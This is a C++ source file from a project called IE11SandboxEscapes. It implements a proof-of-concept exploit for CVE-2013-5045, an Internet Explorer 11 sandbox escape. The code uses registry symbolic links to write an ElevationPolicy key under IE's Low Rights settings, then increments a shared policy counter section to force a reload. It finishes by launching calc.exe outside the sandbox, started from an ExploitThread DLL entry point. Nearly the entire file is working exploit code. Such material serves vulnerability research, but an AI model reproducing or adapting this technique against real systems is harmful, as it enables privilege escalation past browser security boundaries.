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CVE-2013-5045.cpp
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CVE-2013-5045.cpp
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// This file is part of IE11SandboxEsacapes.
// IE11SandboxEscapes is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// IE11SandboxEscapes is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with IE11SandboxEscapes. If not, see <http://www.gnu.org/licenses/>.
#include "stdafx.h"
#include <winternl.h>
#include <IEPMapi.h>
#pragma comment(lib, "Iepmapi.lib")
typedef NTSTATUS (__stdcall *fNtOpenSection)(
_Out_ PHANDLE SectionHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes
);
HANDLE MyCreateProcess(bstr_t exec, bstr_t cmdline)
{
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
if (!CreateProcess(exec, cmdline, NULL, NULL, FALSE, 0, NULL, NULL,
&startInfo, &procInfo))
{
DebugPrintf("Error Creating Process: %d", GetLastError());
return nullptr;
}
else
{
CloseHandle(procInfo.hThread);
return procInfo.hProcess;
}
}
void CreateIEProcess()
{
HANDLE hProcess = MyCreateProcess(GetExecutableFileName(nullptr), L"iexplore.exe x");
if (hProcess)
{
WaitForSingleObject(hProcess, INFINITE);
CloseHandle(hProcess);
}
}
void CreateUserKey(LPCWSTR path)
{
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
bstr_t sid = GetUserSid();
bstr_t linkName = L"\\Registry\\User\\" + sid + L"\\Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain";
LONG res = RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain");
DebugPrintf("Delete: %d", res);
bstr_t destName = L"\\Registry\\User\\" + sid + path;
CreateLink(linkName, destName, 0);
CreateIEProcess();
DeleteLink(linkName);
}
void DoRegistrySymlink()
{
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
HKEY hKey = nullptr;
HANDLE hSection = nullptr;
bstr_t sid = GetUserSid();
bool success = false;
try
{
CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights");
CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy");
CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}");
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}",
0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);
if (res != 0)
{
DebugPrintf("Open Class Key Failed %d", res);
throw 0;
}
CreateRegistryValueString(hKey, L"AppName", L"calc.exe");
CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory());
CreateRegistryValueDword(hKey, L"Policy", 3);
bstr_t name = GetSessionPath() + L"\\BaseNamedObjects\\LRIEElevationPolicy_";
UNICODE_STRING objName = { 0 };
objName.Buffer = name;
objName.Length = SysStringByteLen(name);
objName.MaximumLength = SysStringByteLen(name);
OBJECT_ATTRIBUTES objAttr = { 0 };
InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, 0, 0);
fNtOpenSection pfNtOpenSection = (fNtOpenSection)GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenSection");
NTSTATUS status = pfNtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, &objAttr);
if (status != 0)
{
DebugPrintf("Error opening section: %08X\n", status);
throw 0;
}
unsigned int* p = (unsigned int*)MapViewOfFile(hSection, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(unsigned int));
if (p == nullptr)
{
DebugPrintf("Error mapping section %d\n", GetLastError());
throw 0;
}
DebugPrintf("Current Counter: %d\n", *p);
// Increment
*p = *p + 1;
DebugPrintf("New Counter: %d\n", *p);
UnmapViewOfFile(p);
CloseHandle(hSection);
hSection = nullptr;
MyCreateProcess(GetWindowsSystemDirectory() + L"\\calc.exe", L"calc.exe");
}
catch (...)
{
}
if (hSection)
{
CloseHandle(hSection);
}
if (hKey)
{
RegCloseKey(hKey);
}
}
DWORD CALLBACK ExploitThread(LPVOID hModule)
{
CoInitialize(nullptr);
DoRegistrySymlink();
CoUninitialize();
FreeLibraryAndExitThread((HMODULE)hModule, 0);
}